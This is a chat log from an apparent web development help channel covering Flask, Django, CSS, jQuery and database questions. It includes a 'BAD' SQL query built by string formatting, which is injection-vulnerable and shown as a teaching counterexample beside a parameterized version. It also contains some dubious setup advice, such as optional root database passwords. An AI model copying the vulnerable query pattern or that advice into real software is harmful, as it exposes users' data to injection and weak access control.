[jaunty depot]

add "GET"

[stuck narwhal]

Ahh okayy yes thank you!,when i changed it to get it showed the result

If i wanna post a pdf to this url

How do i go about it ? I tried this code

@jaunty depot @haughty isle ```py
from flask import Flask, request
import requests
app = Flask(name)

@app.route('/api/',methods=['GET'])
def makecalc():
data=request.get_json()
return "hello"

def hello():

return "welcome"

if name == 'main':
app.run(debug=True)

and in another file i did this

import requests
import json
url = 'http://127.0.0.1:5000/api/'
files = {'file': open('C:\\Users\\Urja\\Desktop\\RDU.pdf')}
r = requests.post(url,files=files)
print(r,r.text)

[stuck narwhal]

but this gives alot of errors File "C:\Users\Urja\Desktop\env\lib\site-packages\requests\models.py", line 159, in _encode_files fdata = fp.read() File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.8_3.8.2800.0_x64__qbz5n2kfra8p0\lib\encodings\cp1252.py", line 23, in decode return codecs.charmap_decode(input,self.errors,decoding_table)[0] UnicodeDecodeError: 'charmap' codec can't decode byte 0x8f in position 1514: character maps to <undefined>

[strange charm]

Can someone help me with django?

please?

[fading plinth]

Could anyone here perhaps try and explain to me what the 'essence' is of the problem solving aspect of front-end development? i.e., compress the nature of the problems front-end devs face into a few words, if they happen to overlap a lot and aren't too distinct from each other.

It would initially appear that they do not get to work too intimately with logic and math.

[haughty isle]

You opened the file in text mode

But pdf is a bytes format

[stuck narwhal]

Yess ,thank you😁i added 'rb'
I want to return 2 json values and i tried this way

But it is wrong

[haughty isle]

Which two?

[haughty isle]

How did you determine it was wrong?

What did it do, and what did you expect it to do?

[stuck narwhal]

from flask import Flask, request
import requests
import domain1
new_js=domain1.js
new_js1=domain1.js1
app = Flask(__name__)

@app.route('/api/',methods=['POST'])
def makecalc():
    data=request.get_json()
    return new_js,new_js1



 # def hello():
#     return "welcome"

if __name__ == '__main__':
    app.run(debug=True) 

So i have a program domain.py which returns js,js1

And I'm trying to create an api for that program

I wanted it to return both the values

[stuck narwhal]

I get this ValueError: too many values to unpack (expected 2)

[stuck narwhal]

@haughty isle when i tried only value new_js it worked

Idiot question, I want to develop a web database system for my college project, what backend and database should I use? I never touch web dev before so I have no idea

[dusty moon]

I’m having trouble understanding what JavaScript bitwise is used for…. (I’m using w3schools)

[haughty isle]

I like postgresql

And django is pretty great

[serene prawn]

It all depends on your requirements, i think django might be a good choice if you need some features out-of-the-box, such as template rendering, orm and authentication, it can serve as an API too
If you need an API i'd say go with FastAPI rather than Django
as of database - Postgres is a good choice, but if you use orm you can use pretty much any database

[sour epoch]

hey folks, I'm having issues with ajax call results not working on iOS that I'm totally stuck on fixing

searching around it seems to be because of Apple caching the results so it's not fetching it in realtime

I know the .ajax() call has a parameter 'cache' will force requested pages to not be cached

but that only works for for head or get requests when I'm doing post

I am using flask if that matters

[serene prawn]

@sour epoch Almost all browsers support Fetch API:
https://developer.mozilla.org/en-US/docs/Web/API/fetch
you can specify {cache: "no-cache"} as init parameter

[sour epoch]

new to this whole thing so just want to clarify

do you mean to use the fetch api over jquery?

[serene prawn]

plain js has fetch function that allows you to make http calls

[sour epoch]

got it, thanks for the pointers

[supple bramble]

I'm not sure about clients exactly in httpx or aiohttp, is it good to have one client instance all the time? Or creating new clients each time? Or refresh clients after x amount of time?
In my FastAPI application, I'm just initializing one client on application startup

@app.on_event("startup")
async def startup() -> None:
    app.request_client = httpx.AsyncClient()```
But I'm not sure if this is the best practice.

i dont understand jquery much but is there a way to reload this image without refreshing the page (cloudflares cache messes it up) example: /image/png.png?tick=mynumber i know how to do the tick stuff but that wont work unless u refresh

[haughty isle]

You could name the PNG after its hash?

[native tide]

i managed to fix it but it loop reloads until it loads ```php
<script>
function reload()
{
d = new Date();
$("#avatarthumb").attr("src", "/renders/users/<?php echo $_SESSION['id']?>.png?"+d.getTime());
}
</script>
<center>
<h1>Welcome, <?php echo $userRow->{'username'}?>!</h1>

<p>RENDER IMAGE THIS IS NOT FINAL HOME PAGE!!!!</p>
<img id="avatarthumb" onerror="reload()" src="/renders/users/<?php echo $_SESSION['id']?>.png" alt="Failed to render RE-RENDER in avatar editor">

</center>``` is it possible to make the reload() in the onerror fire 30 times and if it does and is still broken replace it with a different image

sorry if i explained it bad im not really sure how to explain it

[fading bough]

when we put a video url from Youtube that is playable on our website, which one would it take bandwidth from? My own website or Youtube?

[manic frost]

Though Python is easy and simple to learn, when it comes to interacting with the database, Python lacks behind this. Most organizations want a smooth database so that there should not be any error, but python can’t give this.
What languages does Python lag behind when it comes to databases?

It executes the code line by line
This is just wrong

Python doesn’t support client-side programming, it only supports server-side programming.
You can make GUI apps in Python, although it's rarely a good choice, especially for mobile.

[opal verge]

Hello

[fading bough]

Does portfolio websites require backend languages or just frontend will do?

And if it ever does require backend, which one do you start with first? Backend or frontend?

[opal verge]

@lilac stirrup
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.YourEngineDatabase',
'NAME': 'yourDatabaseName',
'HOST': '127.0.0.1',
'PORT': '3306',
'USER': 'root',
'PASSWORD': ''
}
}

In your case, you can put "SQLServer" in "ENGINE"

If you're using other HOST different to localhost, just write your host :b

Usally the default "PORT" is 3306. Sometimes is 8080 or 8000

The "USER" is usally root
And about the password, you don't need put it, but is recommended

[opal verge]

@fading bough I'm not expert, but I think you can create a portfolio only with front-end

Because you don't need to send any information to a database.

[finite terrace]

is you flask app sending the duration?

[finite terrace]

take it out of <progress/> tag? i don't have full code so i don't really know how it should be formatted

what is max= when you inspect element?

i was looking at the wrong code anyway sorry. what is the value when you print playback.duration? and what is supposed to be the value? how long it has been playing?

the html is valid. it possibly doesn't work because of jinja2 templating try without the p tag

<br>{{playback.progress}} <progress value = {{playback.progress_ms}} max = {{playback.duration_ms}} />{{playback.duration}}

sure

ok

change your syntax to <progress value = {{playback.progress_ms}} max = {{playback.duration_ms}}></progress>

 <p>{{playback.progress}} <progress value = {{playback.progress_ms}} max = {{playback.duration_ms}}></progress> {{playback.duration}}</p>

that should work promise lol

[finite terrace]

some tags can't be closed with < /> shorthand. you needed to use full </progress>. jinja2 should actually be throwing an error for that, but that's a different matter

class User(_ABU, _PM):
id = models.BigAutoField()
username = models.CharField()
first_name = models.CharField()
last_name = models.CharField()
email_id = models.EmailField()
user_type = models.CharField(

is_staff = models.BooleanField(default=False)

    "address",
]
objects = UserManager()

And UserManager likepy
class UserManager(_BUM):
def create_superuser(
self,
username,
first_name,
last_name,
email_id,
user_type,
date_of_birth,
contact_no,

    user = self.model(

I need the user_type field to not be asked while creating a superuser from terminal and instead pass a fixed value (a in this case).. How do I do so?

If I edit the REQUIRED_FIELDS option and remove user_type from it, will it only affect the terminal? Or will it also affect the ModelForms on the site?

[calm plume]

Woah woah woah django 4.0 rc1 is out, very nice

[dense slate]

Is it possible to .set() or .add() with a value versus an id?

[tepid lark]

I'd recommend using a web UI if it's something web based.

[tepid lark]

What are you calling .set() and .add() on?

[dense slate]

Adding M2M relations to an object.

I have a list on the front-end with objects including ids, and I realized that if one of the ids in the backend changes, it will no longer be accurate.

So I wanted to go by value instead.

[tepid lark]

Ok, your IDs should never change once they're assigned. You can look up an object by some value and add that, yeah.

[dense slate]

So what if a value on the backend is deleted and recreated.

Even if I'm keeping the value the same, it has a new id.

I could do a lookup yea, but it seems that might add some significant delay if I have lists of ids that have to get looked up.

This basically adds tags to an object, but if I have to lookup the id of every tag getting set to the object, it just feels like that's a lot of extra work the function has to do.

The tags a required to be unique, so I don't have to worry about dupes, but I just don't know if it's possible to do it this way at all.

Are my options basically keep an accurate list on the FE or lookup everything on the BE?

[tepid lark]

You could diff the state of your new and old object

[dense slate]

What do you mean?

[tepid lark]

check if the existing tags match whatever the state of the object in the db is

plus any changes/updates

well, that's only half of the problem

i'm guessing your data model is entry -> entry-tag -> tag

I guess the solution is don't let people change tags once they're created. They can "edit" tags by creating a new entry-tag relation instead.

[dense slate]

Not worried about it from the user, but that feels like fragile code in case I ever change anything on the BE and forget that it matters.

If I lookup, then of course it'll always be accurate, but it feels like a lot of overhead cost for that safety.

Maybe that's just how it goes. 🙂

[tepid lark]

Yeah that's the downside of that data model

It makes it easier to search by tag though, since you're doing 1 text scan instead of n

Decide if you want to optimize for writing or reading.

[dense slate]

def reading

i think an extra couple seconds on a form submission is not a big deal

[tepid lark]

slap an index on there and it would be reasonably fast

assuming you're using pgsql with django

If you run js in a button, but want the button to continue it's function if true. How would you do that

I have the checks working but now it's not going to the next page

[inland oak]

i would advice against learning anything that makes sites like that.
It looks like being created with horribly outdated methods, which aren't used already 20 years.

For example.... creators of this website were making positioning of elements with TABLE. disgusting.

positioning should be done with Flexboxes ,Grids, Position Absolute from Position Relative, Margins/Paddings... and as a last resort with Float

[steady cargo]

Why is float a last resort?

[inland oak]

Because Flexboxes allow 10 times nicer adapative scaling

Flexbox will make your website behave much nicer when scaling from mobile to PC version of any screen, they give quite big amount of... flexibility, while floats limit you only to the simpliest scaling. And flexboxes give much better control in how to position elements within one line (while Floats are basically stuck with only one type of positioning)

And in addition because Floats have the problem... with requiring hacks against overflow to bottom elements

[steady cargo]

Well said, thanks!

I am trying to use social authentication in my project, so I came to know about django-allauth. I searched for some documentation and I find it difficult to understand. Can someone suggest some resources.

[native tide]

i already used google sites but i feel that modern ui sites are kinda looks boring and they are the rage these days so i thought to make something standout and cool. I know its outdated but some people understand the value and the history of these old sites.

and also i am not making a mobile site so it doesnt matter

[inland oak]

u can make outdated look with modern tools easily.
The point is that you'll have much better code and easier time to do that

[native tide]

then how?

google sites wouldn't allow that

[inland oak]

play the game: https://mastery.games/flexboxzombies/

and learn in the process.

after killing all zombies, you'll have a good hang of flexboxes

it will be like a reflex to shoot out of crossbow ;b

After that play this game to learn Grids
https://cssgridgarden.com/

plus preferably I highly recommend to read this book:
it covers all HTML+CSS basics

[inland oak]

just to be sure... 95% of positioning problems are handled with flexboxes

3% of problems require knowing grids

2% of problems require knowing Position Absolute from Position Relative, background-position or Fixed position

that's it. the rest is handled with padding and margin properties

[native tide]

i get all this, i will see these resources but the thing is that are there are any tools which allows you to use raw html code to build sites? or you need to use the old way by downloading an html template?

[inland oak]

I use vscode, it works fine

just installed plugins to have html highlighting and linting

[native tide]

i mean, google sites aint gonna do this, right?

vscode and other code editors are the only option right?

[inland oak]

install visual code

[native tide]

like pycharm

[inland oak]

pycharm is more for python

vscode is universal

[native tide]

ok

[inland oak]

as a poor man start, even notepad++ could be used

but vscode with plugins is much better

[native tide]

i see

[inland oak]

after vscode installation, see plugins to have support for HTML/CSS

just try something the most popular having installed

all you need to have usually
highlighting + linting fomatting on file save.

I have a model with DateField field and a manager for that model like ```py

manager

class UserManager(BaseUserManager):
def create_user(self, date, ...):
...
return self.model(date=date, ...)

model

class UserModel(AbstractBaseModel, PermissionsMixin):
...
date = models.DateField(...)

objects = UserManager()

If I input a string or datetime object as date field, like ```py
user = UserModel.objects.create(date='2000-01-01') # or datetime.datetime.now()
``` it raises exception `TypeError: expected string or bytes-like object`... How should I input the date to create an object then?

guys i am a beginner

so i wants some suggestion

that learning only python is worth it? for web dev

means does it requires html css javascript

[quasi trellis]

I'm trying to make a website that shows data from a webhook onto the page, Does anyone know if it's possible? And if it is, How?

Could I use the sockets import to display the webhooks data?

I am using Celery with Flower. Many times, the task status shown in the Flower dashboard is stale. The task could be SUCCESS and the dashboard shows it as STARTED

Why does that happen?

[swift elm]

any open source project to participate ?

[crude badge]

@stark cliff you would need to know html css and js, at minimum, to be a web developer. Python is used on the backend.

Anyone have an example of how to decompress a gzipped HTTP response? I've googled several examples, however none seem to work for me. When I look at the response, it's not decoded.

[frank shoal]

requests should handle that, shouldn't it?

!d gzip.decompress There's this otherwise.

[lavish prism]

gzip.decompress

gzip.decompress(data)```
Decompress the *data*, returning a [`bytes`](https://docs.python.org/3/library/stdtypes.html#bytes "bytes") object containing the uncompressed data.

How do I accept different date formats in models.DateField field?
Like if I input any value, it says only YYYY-MM-DD is allowed (django.core.exceptions.ValidationError: ['“22-04-2004” value has an invalid date format. It must be in YYYY-MM-DD format.']) but I need to change it to allow multiple formats.... How do I do that? Maybe editing the Validator somehow... but idk how..

[cloud mist]

I have a question you can maybe help me with in #help-popcorn

(Its about not being able to find an element with xpath)

[tepid lark]

Normalize your input!

I don't know how your input is getting to your model, but I would recommend enforcing one date format.

Especially if you want to avoid MM-DD and MM-DD ambiguity.

I would recommend dateutil if you don't mind pulling in another dependency.

[devout aurora]

hello, how do i make a path only accessible to certain user flask

[tough imp]

hello, how would I parse this?
<a class="item_link" href="need_to_parse_this_link" target="_blank"><span class="item_name">item name</span></a>

i am doing document.GetElementsByClassName('item_link') but it is undefined

[tepid lark]

https://flask.palletsprojects.com/en/2.0.x/patterns/viewdecorators/
^ Look at the example login_required decorator. You can expand on that. The rest is left as an exercise to the reader.

[devout aurora]

i have login required already for the url but then anyone who is logged in can access that url. So in mycode i did if session['email'] == '[e-mail]': then run some code, if not then it returns unauthorized. would that work globally? meaning when my website is up and i have multiple elif statements that will work for differnet people being logged in?

[manic crane]

can someone help please => django.db.utils.IntegrityError: insert or update on table "Occupy_post" violates foreign key constraint "Occupy_post_user_id_7dca33ac_fk_auth_user_id"
DETAIL: Key (user_id)=(3) is not present in table "auth_user".

[tepid lark]

Your code is correct...?

Try Array.from(document.getElementsByClassName("item_link")).map(a => a.href) If you want to get a list of hrefs?

GetElementsByClassName should be getElementsByClassName, JS is consistently camelCase.

[tepid lark]

You have the right idea. I don't know what your project looks like, but I wouldn't use a bunch of if statements like that. Have a list somewhere, in a database or even a flat file, of allowed users, and compare against that. It's much easier than having to change code every time you add or remove or a user.

[devout aurora]

but each user has to have different code underneath the if statements

like its uniuqe to each user

[tepid lark]

Whatever works for you.

[devout aurora]

but the code will work when online correct? like the session is global for different users if you know what i mean

[rotund perch]

In django rest framework when doing a GET request and the response should include more than one object many=True how to add to every object a reponse with its user name for example? (Since relation key depends on user id not name)

Or doing it in another way, how to get the user name from the user id ? Like how do you get a step back from user.id to user so you can go to user.name

[frosty horizon]

U can add a method to the model u are using, call this method get_username, for example, and it should return the username as a string. Then you can add this get_username field to the serializer of such model. And then when you make the GET request the each object will return the user under get_username.

[frosty horizon]

This is how I did a Comment class with such feature:

[frosty horizon]

class Comment(models.Model):
    resource = models.ForeignKey(Resource, on_delete=models.CASCADE)
    user = models.ForeignKey(User, on_delete=models.CASCADE)
    text = models.TextField(blank=False, null=False)
    date_created = models.DateTimeField(default=timezone.now)

    def get_username(self):
        user = User.objects.get(id=self.user.id)
        return user.username```

The serializer:

class CommentSerializer(serializers.ModelSerializer):
    class Meta:
        model = models.Comment
        fields = ('id', 'resource', 'get_username', 'text', 'get_datetime')

And the GET list:

I'm trying to learn flask/jinja2 templates and am running into a problem with nesting. I'm trying to get the base HTML file to reference a child template that has the style but it seems to omit it entirely when the page is rendered. What am I doing wrong?

base.html (parent) sample:

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  {% block head %}{% endblock %}
  <title>Test Page</title>
</head>

style.html (child) sample:

{% extends "base.html" %}

{% block head %}
<link rel="stylesheet" type="text/css" href="{{ url_for('static',filename='style.css') }}">
{% endblock %}

Sample of the rendered HTML file:

<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  
  <title>Test Page</title>
</head>

There's a {% block content %}{% endblock %} section further down in the parent HTML that renders without issue. I'm not sure what I'm doing wrong here.

[native tide]

you're just doing it backwards. remove all the jinja tags out of style.html include the file instead from your base.html

[edgy spade]

Thank you! Does this have to be in an includes/ folder? Is this a folder I need to pass into Flask() as an option?

[native tide]

ye i use a folder. you don't have to

its probably to encrypt cookies. but that would be useful if they explained why in docs. haha

[hasty sparrow]

how do I protect my code from sql injections?

[native tide]

with an api?

[native tide]

that's not a correct/good answer

[native tide]

not a great question either tho really.

it's a broad question, but valid

its a bit broad. what code ? why where when?

I agree

i was probably rude. sorry

but it doesn't deserve a wrong answer

all good

@hasty sparrow it's a broad question. the main thing you can focus on is: don't let anything from your clients communicate with your database without you sanitazing it first

[native tide]

i added a question mark to make it friendlier

[native tide]

sorry, but it was a wrong answer

use api is not an answer

[native tide]

so no api and direct queries to the db is what we want?. then fuck it. sod apis everyone. chuck your dbs online

[edgy spade]

Haven't looked into it much, but I think there are modules that can create forms protected from stuff like that. Iirc, Django has that ability

[native tide]

no direct queries to the db is what we want? - yes :)

[native tide]

haha you're drunk on nosql http interaces. too much couch and mongo. lol

I prefer sql to nosql. I don't have a lot of experience with nosql/document dbs

but you're right sanitze is the straight 'answer'

now that you're here. do you agree with:
no direct queries to the db is what we want? - yes :)

like mongoql?

not seen it for postgres etc

can you?

is that what 'views' are. is that new?

not too familiar if im honest. as I just have a crud enpoint toa table and do REST

sorry, I don't understand your line in the middle. I'd argue that you don't want direct queries from 'world' to any dbs

[native tide]

i agree. you'd need... an API . lol

an API can be vulnerable to an SQL injection

[manic frost]

Just don't format queries yourself. Use your library's substitution mechanism for this:

# BAD
cursor.execute("SELECT name, status FROM users WHERE id = {0}".format(user_supplied_id))
# BAD
cursor.execute("SELECT name, status FROM users WHERE id = {0}".format(my_DIY_escape(user_supplied_id)))

# GOOD
cursor.execute("SELECT name, status FROM users WHERE id = ?", (user_supplied_id,))

[native tide]

yep

but, I'd argue the above example isn't informative

it's syntax specific

what would be better?

I agree with @manic frost

but what's a non syntax specific answer?

I just think the example isn't informative

I don't have it atm :)

[manic frost]

Well... I can't show an example for every substitution syntax in existence.

[native tide]

I know

cursor.execute("SELECT name, status FROM users WHERE id = {0}".format(user_supplied_id))
# GOOD
cursor.execute("SELECT name, status FROM users WHERE id = ?", (user_supplied_id,))

just want to say

these look the same to me :)

and I bet I'm not the only one

[manic frost]

they do look similar

and that's why we have linters 😉 ```

[native tide]

nice.

fix error, thnx for the additional context. I agree with your theory, but not with your example. I don't want argue specifics in this case unless it's to learn/teach something

# BAD
cursor.execute("SELECT name, status FROM users WHERE id = {0}".format(user_supplied_id))
# GOOD
cursor.execute("SELECT name, status FROM users WHERE id = ?", (user_supplied_id,))

so if you point out why these are different @hasty sparrow will have the perfect answer? can you do that?

no. I can't give the perfect answer :)

but I guarantee that is a language or even a framework specific syntax

please don't misunderstand me. I'm not here to belittle or disparage anyone

I don't have all the answers

I've contradicted you, yes

doesn't mean I think lesser of you :)

i get what you're saying. so the second parameter is cleaned by the api somehow not by the user.

if you're talking about the example, I don't know :)

in the first instance they join a string. its bad. in second they relying on api library whatever to make sure it's not dodgy

dont they have to escape it and pass it as 2nd param?

sorry, I'm not following. can you paste the context?

and also

if you're talking about escaping

that's that :)

that's what I wanted to point out

it doesn't matter, if you're using api. if you're not sanitazing/escaping data before you send it to db, you're in for a world of pain

again:
no direct queries to the db is what we want? - yes :)

why do you think that would be bad?

is this a trick question?

no :)

but I think that is the main point of what we are debating

well. it was said sarcastically and you're quite literal. so not sure what side you are for.

ah, sorry

didn't register the sarcasm

you fooled me :)

tongue in cheek

sorry :)

be good to know how execute is joining the paramter 'safely'

i guess it doesn't as uses the engine

hey. let's start over. I'm not sure what was the original point anymore

@native tide feel free to ask anything and if you don't have any questions, know that I have enjoyed our interaction very much

I'm going for a smoke :)

nice. same. i tried bandit just now also. such a great lib

it's the first time I hear about it :)

[dusky sleet]

Are you working with a relational database? If you are you should look in to unique constraints.

[full adder]

no, i am working with firestore

[tepid lark]

What are you looking to avoid duplicating, exactly?

[full adder]

the information being scraped, so when i run it, it wont scrape the same stuff and instead move on to scraping anything that hasnt been scraped yet

[dusky sleet]

Is it possible for you to check whether the data exists in the database before you save it? What does the data look like?

[full adder]

this data is saved automatically from the scraper straight to the database

[agile gorge]

Quick question: So I have some experience in Python, some experience in Javascript, but not much experience merging the two. Also, my experience with web backends is fairly limited. I'm working on a website where, for one part of it, a user will be redirected to a page where a video will be displayed. The video is generated based on the query string of the url. This generation may be possible in JS, but is very easy to do in Python and I've already written a simple script to take in the necessary params and output an mp4. What I'm not sure about is how best to create a backend that can call the script and then serve the resulting mp4 to the user. I'm aware that NodeJS has a way to call python scripts, but I don't know if that's best practice or not. I also know that Django is a popular choice for web backends, but I know very little about it so I don't know if it would be appropriate here. In case it matters, the rest of the website is mostly API calls and flashy frontend, so it's not like I need much more functionality. Please let me know if you have any advice on what framework makes the most sense.

[frosty horizon]

Hi. What exactly do you need, just input user and pass in login form, or is it something more specific?

[golden bone]

I don't know much about JavaScript but WRT Python frameworks, Django is more complex then what you need. Look into FastAPI and/or Flask

[agile gorge]

ok, thank you. For either flask or fastapi, do you have any suggestions for how to host it? I'm a uni student, which means I can't really afford much.

[golden bone]

You shouldn't need to pay for a small project, what are you using now? Almost any VPS could work, free tier on any of the big three cloud platforms, maybe PythonAnywhere or Heroku or Digital Ocean... I don't have a good recommendation in particular because I usually self host on my own equipment

When I was in uni I used their servers

[jovial cloud]

Because of an error while inserting(unique constraint error) , you need to roll the db session back. You can type the code

db.session.rollback()

[native tide]

It's getting in by either directly by cmd or by http requests (I created an api route to input data into model). And yes since it's a school project and most of the people here uses DD-MM-YYYY, I wanna enforce that globally but not sure how to do that.

And sure I'll try dateutil. Thanks 😄

You can avoid this if you use the context manager interface with db.session.begin():

This is my python code: https://mystb.in/WendyIndicatesNamespace.python

[proper hinge]

is this js code correct?
Have you tested it yourself?

It's much easier to execute the code and observe the result than to carefully peruse the source code for errors

Also, it's a shame that so many answers on the internet still use jQuery. It's not necessary anymore for many of the common tasks. JS has the fetch API which can accomplish the same thing in this case. That way you get rid of the 3rd-party jQuery dependency.

[small tree]

Yes but no, not really. My problem is my friend who isn't here currently is mainly doing html js and so one and i dont really know that much about it, i mainly do backend and thats why i just used this answer on the internet

I just want to test some things

with the backend

and for that i need 2 buttons

So you're unable to run the code to see if it is working?

i did it

just nothing happend

no errors

Ah okay. You should have started with mentioning that lol

sorry

I also tried again with hypercorn debug mode, nothing came in

When you mean no errors, where were you looking for errors?

You should be checking your web browser's development console to see errors from JavaScript

You haven't said what database you're using but it will have a standard way to dump and load data.

I haven't used django-seed but it exists apparently: https://medium.com/@ardho/migration-and-seeding-in-django-3ae322952111

I'm planning on using postgresql

[small tree]

so you can't help me further?

[cyan lotus]

Thanks I'm reading it

[proper hinge]

I don't think so, sorry. Maybe try removing the x-requested-with header from the request?

[stone tartan]

This isn't directly a question on code, but more of a general question. How could I (preferably using python) automate a website that I have created using HTML to give access to a segment only after a specific date.

[golden bone]

If you're using a Python framework like Flask that should be a simple if statement. If you want static html I would probably set a cron job on the server

[lilac solar]

Depending on your data source for I would take one of these a approaches:

1. Static file (json/csv file etc) - I would look at generating at creating a data migration in the relevant django app (https://docs.djangoproject.com/en/3.2/topics/migrations/#data-migrations). Be sure to read it carefully as there a number of caveats to them, which means things can go wrong, but this is how I typically load this type of data into a project.
2. API - write a simple client to pull the data in and store it, this could then be triggered regularly from a management command or a background worker like celery.

Hi everyone, I've been messing with django and wanted to ask if there was a way to put both sign in and sign up form on the same page

[haughty isle]

Yep it's definitely possible

Have a look at the LoginView code https://github.com/django/django/blob/main/django/contrib/auth/views.py

And the UserCreationForm

You might want to do it via JavaScript though so you can show/hide the second password widget if the username doesn't exist

[sharp crater]

Hey all, im trying to do some classwork and we are using the hug framework but im trying to create a service registry

how would i go about self registering?

i know i need to grab the address from that instance on startup and pass it to the registry to be saved

but i dont know how to get the address (in this case its hosted locally so it would really jsut be the port number) but you know what i mea

mean

Hey I'm just wondering how can I make a MCQ type application ( django) in which I will show questions in form of .jpeg or .png
There will be 25 questions 20 MCQ's (multiple choice questions )
5 questions there will be a form so they can answer questions
N in MCQ if user has right questions +4 marks -1 for incorrect answer and in Descriptive/on last 5/The form I want
+4 for correct
N 0 for wrong
N at last I wanna render the result n save to db

[shy turtle]

Anyone who knows Django please reply I need your help!

[manic frost]

If you have a question, just ask it. Don't ask if there's an expert on what you want to ask about.

[shy turtle]

okay,
I want to implement update operation in my django web app but without using forms

I have implemented C.R.D

[inland oak]

sounds like a job for javascript then

[shy turtle]

how?

[inland oak]

or actually you could use simple <a href></a> thing

you can put into it GET requests

with input parameters as Query parameters

url=your_address.com/yourendpoint?var1=123&var2=456

that would be the easiest way in your situation

if u wish to have more control, then only javascript is left to use

I am not sure how to tell it shortly

it is sort of big topic

basically u a looking to listen to "Click" events for the element u wish

and having its own any scripts being run on the click

https://gomakethings.com/listening-for-click-events-with-vanilla-javascript/

https://www.w3schools.com/js/js_htmldom_eventlistener.asp

[inland oak]

element.addEventListener("click", myFunction);

function myFunction() {
  alert ("Hello World!");
}

that should work in your case

from the function you can request any existing values on the website with full control

[shy turtle]

Still issue T_T

I copied a html file i have used in the same webapp that one is working fine but this one is causing the issue

I deleted the post command also but it still shows
can it be a problem of views.py?

[dusk portal]

[shy turtle]

ahhhhhhhhhhhhhh

mybad found it. I forgot to add csrf token on the button which redirect to this website

lol

[wind lotus]

how do i fix this? i want to center my nav bar, but have a bigger width than the body, which is displayed with a border

here's the css code for nav bar

nav {
    background-color: black;
    width: 80vw;
}
ul {
    display: flex;
    justify-content: space-between;
    margin: 0;
    padding: 0;
}
nav li {
    list-style-type: none;
}

[dusk portal]

[wind lotus]

also, i don't want to use neg margin-left cuz thats a disgusting way to do it

[last scaffold]

Yello, anyone in here using django-celery-beats? I have been trying to get the scheduler to auto detect periodic tasks in task.py files outside of the main app for like 3 days now, Im so stumped.

[inland oak]

I think I am not seeing the code fully to propose the solution

but I would say... u know... take the nav out of the body

I mean don't limit the width/margin of the body

use "div" to wrap elements that should be limited in width

[wind lotus]

i probably shouldv'e sent this instead: https://jsfiddle.net/Golden9/o9h7q3e8/#&togetherjs=5nqQ6FROT4 here's the full code

[wind lotus]

ok, i did that, but i still don't rlly see any changes

nvm, i broke it

[inland oak]

anyway, tell more precisely what i wish to receive

perhaps you could make a simple picture/scatch in paint of the wished end result?

[wind lotus]

ok

[inland oak]

ok, looks simple. uno momento

[wind lotus]

okie

header h1,
    nav,
    main {
      margin-left: auto;
      margin-right: auto;
      width: 80%;
      max-width: 1200px

that will make it more elegant

I created a OneToOneField linking to a model's "username" field but the column made in the new Model is "user_id". Like: ```py
class User(models.Model):
username = ...

class Auth(models.Model):
user = models.OneToOneField(
UserModel,
on_delete=models.CASCADE,
verbose_name=_("User"),
primary_key=True,
related_name="user",
to_field="username",
)
authorization_token = ...
ip_address = ...

The Table Auth is created like

user_id | authorization_token | ip_address
---------+---------------------+------------

but I need to change the name of the column to username instead

[haughty isle]

You can set the db_column it's best to use the django defaults though

[shy turtle]

This is not updating can anyone help?

django

[haughty isle]

That's a bare except:

I am new to this

[haughty isle]

You should catch the actual Exception that you expect to see

[shy turtle]

I actually want to perform update operation

Can you help?

[haughty isle]

It looks like you're trying to update every row in your db?

no just a specific one

come to voice chat?
I have to submit this in 20 min

[haughty isle]

Is this homework?

[shy turtle]

no

i mean

yeah

but this will be taken for evaluation

[haughty isle]

Do this first

You also see that it can't update a row if it doesn't exist right?

[shy turtle]

yeah It does exist
but I just cannot update the fields

[haughty isle]

Right you can't update it, if it doesn't exist

what are you actually trying to achieve here?

are you trying to create a row in your database?

[knotty socket]

Hi

right but you did a get then got some exception - which exception did you get?

that's the except: on line 57

[shy turtle]

no exception

in the try block

I try to print data
but if i print data['image']

it shows error because it has not been filled yet

when the form is filled the data['image'] is updated

[knotty socket]

Does anyone work with selenium ?

[sharp tree]

is it better to learn API before doing a django project

anyone ?

[manic frost]

@sharp tree What do you understand by "API"?

It's a very general word. A library has an API. A web service also has an API. Same with a piece hardware like an SSD.

An API is the contracts that you expose to the outside, so that other programs can talk to you.

[digital hinge]

@haughty isle using Apache with wsgi on windows.

[digital hinge]

I’ve got knowledge of selenium, used it before requests.

[warped aurora]

<input type='radio' name='job_status' disabled value='completed' ondblclick='this.checked=false;'/>
to find if this has ondblclick i just have to check for the attribute like tags = soup.find_all('ondblclick ') right?

[drifting apex]

Api is just a contract that allows two applications to talk to each other

[barren moth]

huh, aiohttp has a web server part?

[clever forge]

With Django, how do you use a function with input data from a form in your views.py to update a div with the return value of the function?

[rugged osprey]

Can you be more specific ? Is page refresh a viable option? If so, then you just read POST data and use render (with arguments) in views, if not then use AJAX (Asynchronous JavaScript) to post form and play with the returned data on client side. I am new to webdev, correct me if I am wrong.

[clever forge]

The rerendering isn't working so far

This is in views.py:

def home(request):
    if request.method == 'Post':
        form = MachineLearning(request.POST)
        if form.is_valid():
            return render(request, 'home/welcome.html', {'form': form, "value": value})
    else:
        form = MachineLearning()

    return render(request, 'home/welcome.html', {'form': form})

This is the html:

{% extends 'base.html' %}
{% block content %}
    <form action="" method="post">
        {% csrf_token %}
        {{ form }}
        <input type="submit" value="Submit">
    </form>
    {% if value %}
        <div>The form had this as value: {{ value }}</div>
    {% endif %}
{% endblock %}

@rugged osprey

Or is the form action incorrect?

[rugged osprey]

<form method="post" action="#"> I use this one

Does it work though?

where is the problem

[clever forge]

The issue lies that when clicking the submit button it doesn't showcase a diff with the value

[rugged osprey]

did you check the value in "value"?
Are you actually using the inner render function? @clever forge

[clever forge]

Wait an inner render function?

[rugged osprey]

return render(request, 'home/welcome.html', {'form': form, "value": value})

[clever forge]

And yeah teh value is rn just a string with "hey"

[rugged osprey]

So the render works, just the condition is false? @clever forge

[clever forge]

Well i think the post is just not doing the thing

[rugged osprey]

but you mentioned that you checked the value.. try printing the value in the html , not just using it in the condition
create h1 tag with {{value}}

or debug in views.py if you can reach the mentioned inner render

@clever forge

[clever forge]

@rugged osprey ```{% if value %}
<div>The form had this as value: {{ value }}</div>
{% endif %}

should print value

[rugged osprey]

try removing the condition if it works

[clever forge]

Found the issue

I had Post

not POST

Damn

such a silly issue

[rugged osprey]

oh :D, I wasnt sure that was the issue

[clever forge]

Yeah thanks for the help my man

i'm guessing this is erroring?

[native tide]

why ?

[real wraith]

